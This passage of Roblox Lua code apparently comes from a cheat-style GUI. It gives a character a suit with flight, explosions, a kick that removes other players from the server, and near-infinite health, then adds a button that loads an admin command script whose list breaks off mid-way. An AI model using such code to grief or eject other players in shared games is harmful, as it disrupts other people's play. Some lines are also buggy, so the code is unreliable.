- C0 = CFrame.new(Limbs[Limb].Size.x/2, -(Limbs[Limb].Size.y/4) * 3, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
- Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
- Joint.Name = "Right Joint Bottom"
- elseif(Limb == 4) then
- C0 = CFrame.new(-Limbs[Limb].Size.x/2, -(Limbs[Limb].Size.y/4) * 3, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
- Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
- Joint.Name = "Left Joint Bottom"
- end
- Joint.C0 = C0
- Joints[Limb] = Joint
- end
- print("1")
- function EnableLimb(Limb)
- if (Limb == 1) then
- Joints[Limb].Name = "Right Shoulder"
- elseif (Limb == 2) then
- Joints[Limb].Name = "Left Shoulder"
- elseif (Limb == 3) then
- Joints[Limb].Name = "Right Hip"
- elseif(Limb == 4) then
- Joints[Limb].Name = "Left Hip"
- end
- Anim = Person.Character.Animate:clone()
- Person.Character.Animate:remove()
- Anim.Parent = Person.Character
- end
- print("2")
- function Grab(Part)
- if (Grabbed == nil) then
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- Player = game.Players:GetPlayerFromCharacter(Human.Parent)
- if (Player ~= nil) then
- if (Player ~= Person) then
- Human.Sit = true
- Weld = Instance.new("Weld")
- Weld.Name = "Grip"
- Weld.Parent = Person.Character.Torso
- Weld.Part0 = Person.Character.Torso
- Weld.Part1 = Player.Character.Torso
- Weld.C0 = CFrame.new(0, 2.5, 0) * CFrame.fromEulerAnglesXYZ(3.14/2, 0, 0)
- SetAngle(1, 3.14)
- SetAngle(2, 3.14)
- Grabbed = Player
- Human.Sit = true
- Connection1:disconnect()
- Connection2:disconnect()
- while true do
- if (Weld.Part1 == nil) then
- Debounce = false
- EnableLimb(1)
- EnableLimb(2)
- Grabbed = nil
- break
- elseif (Weld.Parent == nil) then
- Debounce = false
- EnableLimb(1)
- EnableLimb(2)
- Grabbed = nil
- break
- else
- Human.Sit = true
- end
- wait()
- end
- end
- end
- end
- end
- end
- end
- print("3")
- function Click(mouse)
- Hold = true
- if (Flight == true) then
- Person.Character.Engine.BodyPosition.maxForce = Vector3.new(0, 0, 0)
- Person.Character.Engine.BodyVelocity.maxForce = Vector3.new(4e+030, 4e+030, 4e+030)
- Position = Person.Character.Engine.Position
- Person.Character.Engine.Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(3.14/2, 0, 0)
- SetAngle(NormalHand, 3.14)
- while true do
- if (Flight == false) then
- break
- end
- if (Hold == false) then
- break
- end
- Direction = Person.Character.Engine.CFrame.lookVector
- Position = Position + 2 * 3 * Direction
- error = Position - Person.Character.Engine.Position
- Person.Character.Engine.BodyVelocity.velocity = 2 * error
- wait()
- end
- BodyP.position = Engine.Position
- Person.Character.Engine.BodyPosition.maxForce = Vector3.new(4e+050, 4e+050, 4e+050)
- Person.Character.Engine.Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
- SetAngle(NormalHand, 0)
- end
- end
- print("5")
- function Release(mouse)
- Hold = false
- end
- function Direct(En, Target)
- local OriginCFrame = En:findFirstChild("BodyGyro").cframe
- local Direction = (Target - En.Position).unit
- local SpawnPosition = En.Position
- local Position = SpawnPosition + (Direction * 1)
- En:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000, 9000, 9000)
- En:findFirstChild("BodyGyro").cframe = CFrame.new(Position, Position + Direction)
- end
- print("6")
- function PressKey(key, mouse)
- key = key:upper()
- if (key == "Z") then
- if (Debounce == false) then
- Debounce = true
- DisableLimb(1)
- DisableLimb(2)
- Joints[1].MaxVelocity = 1
- SetAngle(1, 3.14)
- Joints[2].MaxVelocity = 1
- SetAngle(2, 3.14)
- function Touch(Part)
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- --Human.Sit = true
- Human.Parent.Torso.Velocity = Vector3.new(0, 300, 0)
- end
- end
- end
- Connection = Limbs[1].Touched:connect(Touch)
- ConnectionB = Limbs[2].Touched:connect(Touch)
- wait(0.5)
- Joints[1].MaxVelocity = 0.1
- Joints[2].MaxVelocity = 0.1
- EnableLimb(1)
- EnableLimb(2)
- Connection:disconnect()
- ConnectionB:disconnect()
- Debounce = false
- end
- end
- if (key == "N") then
- X = game.Workspace:GetChildren()
- for I, E in pairs(X) do
- if (E.Name == "Bomb") then
- E.Ex:play()
- Ex = Instance.new("Explosion")
- Ex.Parent = game.Workspace
- Ex.BlastRadius = 15
- Ex.Position = E.Position
- Ex.BlastPressure = 1000
- E:remove()
- end
- end
- end
- if (key == "Y") then
- Bomb = Instance.new("Part")
- Character.Suit.TorsoArmor.Ex:Clone().Parent = Bomb
- Bomb.Name = "Bomb"
- Bomb.formFactor = "Symmetric"
- Bomb.Shape = "Ball"
- Bomb.Size = Vector3.new(2,2,2)
- Bomb.TopSurface = 0
- Bomb.BottomSurface = 0
- Bomb.BrickColor = BrickColor.new("Blue")
- Bomb.CFrame = CFrame.new(Person.Character.Suit.Watch2.Position)
- Bomb.CanCollide = true
- Bomb.Parent = game.Workspace
- Smoke = Instance.new("Smoke")
- Smoke.Parent = Bomb
- local c = (PersonT.Color.r + PersonT.Color.g + PersonT.Color.b)/3
- Smoke.Color = Color3.new(0,0,0)
- Smoke.Size = 2
- Smoke.Opacity = 0.5
- Bomb:BreakJoints()
- end
- if (key == "Q") then
- if (Debounce == false) then
- Debounce = true
- DisableLimb(NormalFoot)
- Joints[NormalFoot].MaxVelocity = 1
- SetAngle(NormalFoot, 0.7)
- function Touch(Part)
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- Human.Sit = true
- Position = Human.Parent.Torso.Position
- Direction = PersonT.CFrame.lookVector
- Position = Position + 10 * 3 * Direction
- error = Position - PersonT.Position
- Human.Parent.Torso.Velocity = 5 * error
- Human.Parent.Torso.Velocity = Human.Parent.Torso.Velocity + Vector3.new(0, 50, 0)
- end
- end
- end
- Connection = Limbs[NormalFoot].Touched:connect(Touch)
- wait(0.5)
- Joints[NormalFoot].MaxVelocity = 0.2
- EnableLimb(NormalFoot)
- Connection:disconnect()
- Debounce = false
- end
- end
- if (key == "F") then
- if (Debounce == false) then
- Debounce = true
- DisableLimb(NormalFoot)
- Joints[NormalFoot].MaxVelocity = 1
- SetAngle(NormalFoot, 0.7)
- function Touch(Part)
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- Player = game.Players:GetPlayerFromCharacter(Human.Parent)
- if (Player ~= nil) then
- if (Player ~= Person) then
- Human.Sit = true
- Position = Human.Parent.Torso.Position
- Direction = PersonT.CFrame.lookVector
- Position = Position + 10 * 3 * Direction
- error = Position - PersonT.Position
- Human.Parent.Torso.Velocity = 10 * error
- Human.Parent.Torso.Velocity = Human.Parent.Torso.Velocity + Vector3.new(0, 100, 0)
- wait(0.5)
- Player:remove()
- end
- end
- end
- end
- end
- Connection = Limbs[NormalFoot].Touched:connect(Touch)
- wait(0.5)
- Joints[NormalFoot].MaxVelocity = 0.1
- EnableLimb(NormalFoot)
- Connection:disconnect()
- Debounce = false
- end
- end
- if (key == "E") then
- if (Flight == true) then
- if (FDebounce == false) then
- FDebounce = true
- Character.Suit.TorsoArmor.FalconPunch:play()
- function Touch(Part)
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- Instance.new("Smoke").Parent = Character.Suit.LegArmArmor
- Character.Suit.LegArmArmor.Smoke.Color = Color3.new(0,0,0)
- wait(0.8)
- Human.Sit = true
- Huamn.Health = Human.Health - 99.999
- Position = Human.Parent.Torso.Position
- Direction = Person.Character.Engine.CFrame.lookVector
- Position = Position + 10 * 3 * Direction
- error = Position - PersonT.Position
- Human.Parent.Torso.Velocity = 10 * error
- Character.Suit.LegArmArmor.Smoke:Remove()
- end
- end
- end
- Connection = PersonT.Touched:connect(Touch)
- wait(2)
- Connection:disconnect()
- FDebounce = false
- end
- end
- if (Debounce == false) then
- Debounce = true
- DisableLimb(NormalHand)
- Joints[NormalHand].MaxVelocity = 1
- SetAngle(NormalHand, 1.57)
- function Touch(Part)
- if (Part.Parent ~= nil) then
- Human = Part.Parent:findFirstChild("Humanoid")
- if (Human ~= nil) then
- Human.Sit = true
- Position = Human.Parent.Torso.Position
- Direction = PersonT.CFrame.lookVector
- Position = Position + 10 * 3 * Direction
- error = Position - PersonT.Position
- Human.Parent.Torso.Velocity = 10 * error
- end
- end
- end
- Connection = Limbs[NormalHand].Touched:connect(Touch)
- wait(0.5)
- EnableLimb(NormalHand)
- Connection:disconnect()
- Debounce = false
- end
- end
- if (key == "T") then
- E = Instance.new("Explosion")
- E.Parent = game.Workspace
- E.BlastRadius = 12
- E.Position = mouse.hit.p
- E.BlastPressure = 1000
- end
- if (key == "G") then
- if (Grabbed == nil) then
- if (Debounce == false) then
- Debounce = true
- DisableLimb(1)
- DisableLimb(2)
- SetAngle(1, 1.57)
- SetAngle(2, 1.57)
- Connection1 = Limbs[1].Touched:connect(Grab)
- Connection2 = Limbs[2].Touched:connect(Grab)
- for E = 1, 30 do
- if (Grabbed ~= nil) then
- break
- end
- wait(0.1)
- end
- if (Grabbed == nil) then
- EnableLimb(1)
- EnableLimb(2)
- Connection1:disconnect()
- Connection2:disconnect()
- Debounce = false
- end
- end
- else
- Person.Character.Torso.Grip:remove()
- Position = Grabbed.Character.Torso.Position
- Direction = PersonT.CFrame.lookVector
- Position = Position + 4 * 3 * Direction
- error = Position - PersonT.Position
- Grabbed.Character.Torso.Velocity = 4 * error
- end
- end
- if (key == "R") then
- if (Flight == false) then
- if (Debounce == false) then
- Debounce = true
- DisableLimb(1)
- DisableLimb(2)
- Flight = true
- DisableLimb(3)
- DisableLimb(4)
- SetAngle(1, 0)
- SetAngle(2, 0)
- SetAngle(3, 0)
- SetAngle(4, 0)
- Engine = Instance.new("Part")
- Engine.Parent = Person.Character
- Engine.Size = PersonT.Size
- Engine.Name = "Engine"
- Engine.TopSurface = 0
- Engine.BottomSurface = 0
- Engine.formFactor = "Symmetric"
- Engine.Transparency = 1
- Engine:BreakJoints()
- Weld = Instance.new("Weld")
- Weld.Parent = Engine
- Weld.Part0 = PersonT
- Weld.Part1 = Engine
- Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
- BodyP = Instance.new("BodyPosition")
- BodyP.Parent = Engine
- BodyP.position = Engine.Position + Vector3.new(0, 10, 0)
- BodyP.maxForce = Vector3.new(4e+050, 4e+050, 4e+050)
- BodyG = Instance.new("BodyGyro")
- BodyG.Parent = Engine
- BodyV = Instance.new("BodyVelocity")
- BodyV.Parent = Engine
- BodyV.velocity = Vector3.new(0, 0, 0)
- BodyV.maxForce = Vector3.new(0, 0, 0)
- while true do
- if (Flight == false) then
- break
- end
- Direct(Engine, mouse.hit.p)
- Person.Character.Humanoid.Sit = true
- Person.Character.Head.CanCollide = false
- Person.Character.Torso.CanCollide = false
- wait(0.000000000000000000000000000000001)
- end
- EnableLimb(1)
- EnableLimb(2)
- EnableLimb(3)
- EnableLimb(4)
- Debounce = false
- Person.Character.Engine:remove()
- Person.Character.Humanoid.Sit = false
- end
- else
- Flight = false
- end
- end
- if (key == "L") then
- DisableLimb(NormalHand)
- SetAngle(NormalHand, 2.57)
- wait(1)
- SetAngle(NormalHand, 0)
- end
- if (key == "H") then -- Heal 8D
- if (Debounce == false) then
- Debounce = true
- HealBrick = Instance.new("Part")
- HealBrick.CanCollide = false
- HealBrick.Anchored = true
- HealBrick.Transparency = 0
- HealBrick.Locked = true
- HealBrick.archivable = false
- HealBrick.TopSurface = 0
- HealBrick.BottomSurface = 0
- HealBrick.Size = Vector3.new(2,4,2)
- HealBrick.BrickColor = BrickColor.new("Really black")
- HealBrick.Parent = Suit
- HealBrick.CFrame = Torso.CFrame
- Hm = Instance.new("SpecialMesh")
- Hm.Parent = HealBrick
- Hm.MeshType = "Sphere"
- for i=1,10 do
- Hm.Scale = Hm.Scale + Vector3.new(0.4,0.8,0.4)
- wait(0.1)
- end
- Ta.Heal:play()
- for i=1,12 do
- Hm.Scale = Hm.Scale - Vector3.new(0.4,0.8,0.4)
- wait(0.1)
- end
- Character.Humanoid.Health = Character.Humanoid.Health + 999999999
- HealBrick:Remove()
- wait(0.1)
- Debounce = false
- end
- end
- if (key == "J") and (UsingTools == 0) then -- Summoning Tools!! 8D
- if (Debounce == false) and (AnimatingTools == false) then
- if (Lazer == false) then
- Debounce = true
- UsingTools = 1
- AnimatingTools = true
- NewTool = Instance.new("Model")
- NewTool.Parent = Suit
- NewTool.Name = "GiantSword"
- Character.Suit.TorsoArmor.Anchored = true
- Pt = Instance.new("Part")
- Pt.CanCollide = false
- Pt.Anchored = true
- Pt.Transparency = 0.8
- Pt.Locked = true
- Pt.archivable = false
- Pt.TopSurface = 0
- Pt.BottomSurface = 0
- Pt.Size = Vector3.new(2,3,2)
- Pt.BrickColor = BrickColor.new("Magenta")
- Pt.Parent = Suit
- Pt.CFrame = Torso.CFrame + Torso.CFrame.lookVector * 10
- Pt.CFrame = Pt.CFrame + Vector3.new(0,10,0)
- Pm = Instance.new("SpecialMesh")
- Pm.Parent = Pt
- Pm.MeshType = "Sphere"
- for i=1,10 do
- Pm.Scale = Pm.Scale + Vector3.new(0.4,0.8,0.4)
- wait(0.05)
- end
- wait(0.1)
- for i=1,16 do
- wait(0.05)
- Pt.Transparency = Pt.Transparency - 0.05
- end
- Ta.Tz:play()
- --GIANT SWORD CCREATION :D
- Gsh1 = Instance.new("Part")
- Gsh1.Name = "Handle"
- Gsh1.CanCollide = true
- Gsh1.Anchored = false
- Gsh1.Transparency = 0
- Gsh1.Locked = true
- Gsh1.archivable = false
- Gsh1.TopSurface = 0
- Gsh1.BottomSurface = 0
- Gsh1.Size = Vector3.new(1,1,1)
- Gsh1.formFactor = "Symmetric"
- Gsh1.BrickColor = BrickColor.new("Mid gray")
- Gsh1.Parent = NewTool
- Gsh1.CFrame = Pt.CFrame - Vector3.new(0,-4.5,0)
- Gsh2 = Instance.new("Part")
- Gsh2.Name = "Handle2"
- Gsh2.CanCollide = true
- Gsh2.Anchored = false
- Gsh2.Transparency = 0
- Gsh2.Locked = true
- Gsh2.archivable = false
- Gsh2.TopSurface = 0
- Gsh2.BottomSurface = 0
- Gsh2.Size = Vector3.new(1,1,1)
- Gsh2.formFactor = "Symmetric"
- Gsh2.BrickColor = BrickColor.new("Mid gray")
- Gsh2.CFrame = Pt.CFrame - Vector3.new(0,-4,0)
- Gsh2m = Instance.new("BlockMesh")
- Gsh2m.Parent = Gsh2
- Gsh2m.Scale = Vector3.new(2.2,0.25,2)
- Gsh2.Parent = NewTool
- Gsh2w = Instance.new("Weld")
- Gsh2w.Part0 = Gsh2
- Gsh2w.Part1 = Gsh1
- Gsh2w.Parent = Gsh2
- Gsh2w.C0 = CFrame.new(0,-0.48,0)*CFrame.fromEulerAnglesXYZ(0,1.5,0)
- Gss = Instance.new("Part")
- Gss.CanCollide = true
- Gss.Anchored = false
- Gss.Transparency = 0
- Gss.Locked = true
- Gss.archivable = false
- Gss.TopSurface = 0
- Gss.BottomSurface = 0
- Gss.Size = Vector3.new(2,5,1)
- Gss.formFactor = "Symmetric"
- Gss.BrickColor = BrickColor.new("Mid gray")
- Gss.CFrame = Pt.CFrame - Vector3.new(0,-1.5,0)
- Gssm = Instance.new("SpecialMesh")
- Gssm.Parent = Gss
- Gssm.MeshType = "Brick"
- Gssm.Scale = Vector3.new(0.8,1,0.2)
- Gss.Parent = NewTool
- Gssw = Instance.new("Weld")
- Gssw.Part0 = Gss
- Gssw.Part1 = Gsh2
- Gssw.Parent = Gss
- Gssw.C0 = CFrame.new(0,-2.5,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- Gsw1 = Instance.new("Part")
- Gsw1.Name = "Blade"
- Gsw1.CanCollide = true
- Gsw1.Anchored = false
- Gsw1.Transparency = 0
- Gsw1.Locked = true
- Gsw1.archivable = false
- Gsw1.TopSurface = 0
- Gsw1.BottomSurface = 0
- Gsw1.Size = Vector3.new(2,5,1)
- Gsw1.formFactor = "Symmetric"
- Gsw1.BrickColor = BrickColor.new("Mid gray")
- Gsw1.CFrame = Pt.CFrame - Vector3.new(0,-1.5,0)
- gsbg = Instance.new("BodyGyro")
- gsbg.Parent = Gsh1
- gsbp = Instance.new("BodyPosition")
- gsbp.Parent = Gsh1
- gsbp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- gsbp.position = Gsh1.Position
- for i=1,12 do
- Pm.Scale = Pm.Scale - Vector3.new(0.4,0.8,0.4)
- wait(0.05)
- end
- Pt:Remove()
- wait(0.5)
- gsbp.position = Suit.RightArmArmor.Position
- wait(1)
- Gsh1.BodyGyro:Remove()
- Gsh1.BodyPosition:Remove()
- Gsh1w = Instance.new("Weld")
- Gsh1w.Part0 = Gsh1
- Gsh1w.Part1 = Suit.RightArmArmor
- Gsh1w.Parent = Gsh1
- Gsh1w.C0 = CFrame.new(0.5,1,0)*CFrame.fromEulerAnglesXYZ(0,1.5,0)
- wait(0.5)
- Ta.Anchored = false
- wait(0.5)
- AnimatingTools = false
- Debounce = False
- end
- end
- end
- if (key == "K") then
- if (Debounce == false) then
- if (Lazer == false) then
- Debounce = true
- Lazer = true
- DisableLimb(NormalHand)
- SetAngle(NormalHand, 0.785)
- BP = Instance.new("BodyPosition")
- BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- BP.P = BP.P / 4
- BG = Instance.new("BodyGyro")
- BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- local targ = nil
- local Mag = nil
- local Pos = nil
- while true do
- if (Lazer == false) then
- break
- end
- if (mouse.Target ~= nil) and (targ == nil) then
- if (mouse.Target.Anchored == false) then
- if ((mouse.Hit.p - Person.Character.Suit.Watch2.Position).magnitude <= 10000) then
- targ = mouse.Target
- BP.Parent = targ
- BG.Parent = targ
- Mag = (targ.Position - mouse.Hit.p).magnitude
- Pos = (targ.Position - mouse.Hit.p).unit * -Mag
- end
- end
- end
- local pop = mouse.Hit.p
- local G = Instance.new("Part")
- G.Parent = Person.Character
- G.Name = "Grab Lazer"
- G.Anchored = true
- G.Locked = true
- G.CanCollide = false
- G.formFactor = 0
- G.Size = Vector3.new(1, 1, 1)
- G.BrickColor = BrickColor.new("Royal blue")
- G.Reflectance = 0.05
- G.Transparency = 0.025
- local Place0 = Person.Character.Suit.Watch2.CFrame * CFrame.new(0, -0.1, 0)
- local MeAsh = Instance.new("CylinderMesh")
- MeAsh.Parent = G
- if (targ == nil) or (targ.Anchored == true) then
- MeAsh.Scale = Vector3.new(0.1, (Place0.p-pop).magnitude, 0.1)
- G.CFrame = CFrame.new((Place0.p + pop)/2, Place0.p) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
- else
- BP.Parent = targ
- BP.position = (PersonT.CFrame + (mouse.Hit.lookVector * 8) + Pos).p + Vector3.new(0, 5.7, 0)
- BG.Parent = targ
- BG.cframe = CFrame.new(targ.Position, PersonT.Position)
- if (targ.Parent == nil) or (targ.Parent.Parent == Person.Character) then
- BP.Parent = nil
- BG.Parent = nil
- end
- MeAsh.Scale = Vector3.new(0.1, (Place0.p - targ.Position).magnitude, 0.1)
- G.CFrame = CFrame.new((Place0.p + (targ.Position + Pos))/2, Place0.p) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
- end
- wait()
- G:Remove()
- end
- Debounce = false
- EnableLimb(NormalHand)
- BP.Parent = nil
- BG.Parent = nil
- end
- end
- end
- end
- print("7")
- function LiftKey(key, mouse)
- key = key:upper()
- if (key == "L") then
- if (Person.Character.Suit.Band:findFirstChild("Smoke") ~= nil) then
- Person.Character.Suit.Band.Smoke:remove()
- EnableLimb(NormalHand)
- end
- end
- if (key == "H") then
- if (Person.Character:findFirstChild("Grapple Lazer") ~= nil) then
- Lazer = false
- end
- end
- if (key == "J") then
- if (Person.Character:findFirstChild("Kill Lazer") ~= nil) then
- Lazer = false
- end
- end
- if (key == "K") then
- if (Person.Character:findFirstChild("Grab Lazer") ~= nil) then
- Lazer = false
- end
- end
- if (key == "X") then
- if (Person.Character:findFirstChild(" Lazer") ~= nil) then
- Lazer = false
- end
- end
- end
- function Select(mouse)
- mouse.Button1Down:connect(function() Click(mouse) end)
- mouse.Button1Up:connect(function() Release(mouse) end)
- mouse.KeyDown:connect(function(key) PressKey(key, mouse) end)
- mouse.KeyUp:connect(function(key) LiftKey(key, mouse) end)
- end
- print("8")
- function Deselect(mouse)
- Hold = false
- Lazer = false
- Flight = false
- end
- print("9 =D")
- ModeDebounce = false
- script.Parent.Selected:connect(function(mouse)
- mouse.KeyDown:connect(function(key)
- key = key:lower()
- if (key=="z") and (ModeDebounce == false) then -- z charge ball to fire blast
- ModeDebounce = true
- --[[
- a["Left Hip"].DesiredAngle = 0
- a["Right Hip"].DesiredAngle = 0
- a["Right Shoulder"].DesiredAngle = 3.1
- a["Left Shoulder"].DesiredAngle = 3.1 ]]
- wait()
- Suit.TorsoArmor.Anchored = true
- OldWs = Character.Humanoid.WalkSpeed
- Character.Humanoid.WalkSpeed = 0
- wait(1)
- Cb = Instance.new("Part")
- Cb.Name = "ChargeBall"
- Cb.formFactor = "Symmetric"
- Cb.Shape = "Ball"
- Cb.Size = Vector3.new(1,1,1)
- Cb.Anchored = true
- Cb.TopSurface = "Smooth"
- Cb.BottomSurface = "Smooth"
- Cb.Locked = true
- Cb.BrickColor = BrickColor.new("Really black")
- Cb.Transparency = 0.5
- Cb.Parent = Character
- Cb.CFrame = Character.Head.CFrame + Vector3.new(0,2,0)
- for i=1,20 do
- Suit.TorsoArmor.Cast:play()
- Cb.Size = Cb.Size + Vector3.new(1,1,1)
- Cb.CFrame = Cb.CFrame + Vector3.new(0,0.5,0)
- wait(0.05)
- end
- Cb1 = Instance.new("Part")
- Cb1.Name = "ChargeBall"
- Cb1.formFactor = "Symmetric"
- Cb1.Shape = "Ball"
- Cb1.Size = Vector3.new(1,1,1)
- Cb1.Anchored = true
- Cb1.TopSurface = "Smooth"
- Cb1.BottomSurface = "Smooth"
- Cb1.Locked = true
- Cb1.BrickColor = BrickColor.new("Really black")
- Cb1.Transparency = 0.5
- Cb1.Parent = Character
- Cb1.CFrame = Cb.CFrame
- Cb:Remove()
- Cb = Cb1
- Instance.new("ForceField").Parent = Character
- Cb.Size = Vector3.new(1,1,1)
- Range = 0
- Suit.TorsoArmor.Anchored = false
- Character.Humanoid.WalkSpeed = OldWs
- for i=1,5 do
- wait()
- Suit.TorsoArmor.Ex:play()
- ex1 = Instance.new("Explosion")
- ex1.BlastPressure = 2500
- ex1.BlastRadius = 25
- ex1.Position = Cb.Position + Cb.CFrame.lookVector * Range
- ex1.Parent = game.Workspace
- Range = Range + 50
- wait(0.1)
- end
- Character.ForceField:Remove()
- for i=1,5 do
- wait()
- Suit.TorsoArmor.Ex:play()
- ex1 = Instance.new("Explosion")
- ex1.BlastPressure = 5000
- ex1.BlastRadius = 100
- ex1.Position = Cb.Position + Cb.CFrame.lookVector * 250
- wait()
- --ex1.Position = ex1.Position + Vector3.new(-100,100,-100,100,-100,100)
- ex1.Parent = game.Workspace
- wait(0.1)
- end
- Cb:Remove()
- wait(0.5)
- ModeDebounce = false
- elseif (key=="m") and (ModeDebounce == false) then -- Spiral BaleFiraz :D
- ModeDebounce = true
- Instance.new("ForceField").Parent = Character
- Instance.new("BodyAngularVelocity").Parent = Torso
- Torso.BodyAngularVelocity.Name = "Bav"
- Torso.Bav.maxTorque = Vector3.new(0,math.huge,0)
- Torso.Bav.angularvelocity = Vector3.new(0,100,0)
- Range = 10
- for i=1,10 do
- wait()
- Suit.TorsoArmor.Ex:play()
- ex1 = Instance.new("Explosion")
- ex1.BlastPressure = 5000
- ex1.BlastRadius = 10
- ex1.Position = Torso.Position + Torso.CFrame.lookVector * Range
- ex1.Parent = game.Workspace
- ex2 = Instance.new("Explosion")
- ex2.BlastPressure = 5000
- ex2.BlastRadius = 10
- ex2.Position = Torso.Position + Torso.CFrame.lookVector * -Range
- ex2.Parent = game.Workspace
- Range = Range + 10
- wait(0.1)
- end
- Character.ForceField:Remove()
- Torso.Bav:Remove()
- wait(0.5)
- ModeDebounce = false
- else
- end
- end)
- end)
- -- End Keys
- print("End")
- Bin.Selected:connect(Select)
- Bin.Deselected:connect(Deselect)
- print("Scripting Rocks!")
- Character.Humanoid.MaxHealth = 999999999
- Character.Humanoid.Health = 999999999
- while true do
- wait()
- dsbp.position = Torso.Position
- if (Flight == true) then
- Bs.Sparkles.Enabled = true
- w11.Motor.DesiredAngle = -0.5
- w21.Motor.DesiredAngle = 0.5
- wait(0.15)
- w11.Motor.DesiredAngle = 0.5
- w21.Motor.DesiredAngle = -0.5
- wait(0.15)
- elseif (Flight == false) then
- Bs.Sparkles.Enabled = false
- w11.Motor.DesiredAngle = 0
- w21.Motor.DesiredAngle = 0
- wait()
- else
- end
- end
- print("11 8D") -- this line fails but doesnt 8D
- end)
- local button11 = Instance.new("TextButton", tl2)
- button11.Size = UDim2.new(0,800,0,50)
- button11.Position = UDim2.new(0,0,0,60)
- button11.Text = 'Give Kohls Admin'
- button11.Font = 'Legacy'
- button11.FontSize = 'Size14'
- button11.BackgroundTransparency = 0.5
- button11.BackgroundColor3 = Color3.new(46, 189, 168)
- button11.BorderColor3 = Color3.new(46, 189, 168)
- button11.TextColor3 = Color3.new(56, 255, 249)
- button11.MouseButton1Click:connect(function()
- -----------------------------------------------------------------------------------------
- -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
- -----------------------------------------------------------------------------------------
- local owners = {"ProFiGames"} -- Are able to set admins who can ban/etc... using :pa name
- local admins = {"OtherNamesHere"} -- Sets admins who can use ban/kick/admin or shutdown
- local tempadmins = {""} -- Sets admins who can't use ban/kick/admin or shutdown
- local banland = {""} -- Permanently Bans people
- local prefix = ":" -- If you wanna change how your commands start ':'kill noob
- local AutoUpdate = true -- Set to false if you don't want it to automatically update
- local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
- ---------------------
- -- VIP Admin --
- ---------------------
- local VipAdmin = false -- If someone can have admin for owning an item
- local ItemId = 0 -- The item they must own in order to have admin
- ---------------------
- -- Group Admin --
- ---------------------
- local GroupAdmin = false -- If a certain group can have admin
- local GroupId = 0 -- Sets the group id that can have admin
- local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
- ---------------------
- -- Tips and Tricks --
- ---------------------
- --[[
- With this admin you can do a command on multiple people at a time;
- :kill me,noob1,noob2,random,team-raiders,nonadmins
- You can also use a variety commands for different people;
- all
- others
- me
- team-
- admins
- nonadmins
- random
- --]]
- ---------------------
- -- Commands --
- ---------------------
- --[[
- -- |Temp Admin Commands| --
- 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
- 1. :s print("Hello World") -- Lets you script normally
- 2. :ls print("Hello World") -- Lets you script in localscripts
- 3. :clear -- Will remove all scripts/localscripts and jails
- 4. :m Hello People -- This commands will let you shout a message to everyone on the server
- 5. :kill kohl -- Kills the player
- 6. :respawn kohl -- Respawns the player
- 7. :trip kohl -- Trips the player
- 8. :stun kohl -- Stuns the player
- 9. :unstun kohl -- Unstuns the player
- 10. :jump kohl -- Makes the player jump
- 11. :sit kohl -- Makes the player sit
- 12. :invisible kohl -- Makes the player invisible
- 13. :visible kohl -- Makes the player visible
- 14. :explode kohl -- Makes the player explode
- 15. :fire kohl -- Sets the player on fire
- 16. :unfire kohl -- Removes fire from the player
- 17. :smoke kohl -- Adds smoke to the player
- 18. :unsmoke kohl -- Removes smoke from the player
- 19. :sparkles kohl -- Adds sparkles to the player
- 20. :unsparkles kohl -- Removes sparkles from the player
- 21. :ff kohl -- Adds a forcefield to the player
- 22. :unff kohl -- Removes the forcefield from the player
- 23. :punish kohl -- Punishes the player
- 24. :unpunish kohl -- Unpunishes the player
- 25. :freeze kohl -- Freezes the player
- 26. :thaw kohl -- Thaws the player
- 27. :heal kohl -- Heals the player
- 28. :god kohl -- Makes the player have infinite health
- 29. :ungod kohl -- Makes the player have 100 health
- 30. :ambient .5 .5 .5 -- Changes the ambient
- 31. :brightness .5 -- Changes the brightness
- 32. :time 12 -- Changes the time
- 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
- 34. :fogend 100 -- Changes the fogend
- 35. :fogstart 100 -- Changes the fogstart
- 36. :removetools kohl -- Removes all tools from the player
- 37. :btools kohl -- Gives the player building tools
- 38. :give kohl sword -- Gives the player a tool
- 39. :damage kohl -- Damages the player
- 40. :grav kohl -- Sets the player's gravity to normal
- 41. :setgrav kohl 100 -- Sets the player's gravity
- 42. :nograv kohl -- Makes the player have 0 gravity
- 43. :health kohl 1337 -- Changes the player's health
- 44. :speed kohl 1337 -- Changes the player's walkspeed
- 45. :name kohl potato -- Changes the player's name
- 46. :unname kohl -- Remove the player's name
- 47. :team kohl Raiders -- Changes the player's team
- 48. :stopmusic -- Will stop all music playing in the server
- 49. :teleport kohl potato -- Teleports the player
- 50. :change kohl kills 1337 -- Changes a player's stat
- 51. :kick kohl -- Removes the player from the game
- 52. :infect kohl -- Turns the player into a zombie
- 53. :rainbowify kohl -- Turns the player into a rainbow
- 54. :flashify kohl -- Turns the player into a strobe
- 55. :noobify kohl -- Turns the player into a noob
- 56. :ghostify kohl -- Turns the player into a ghost
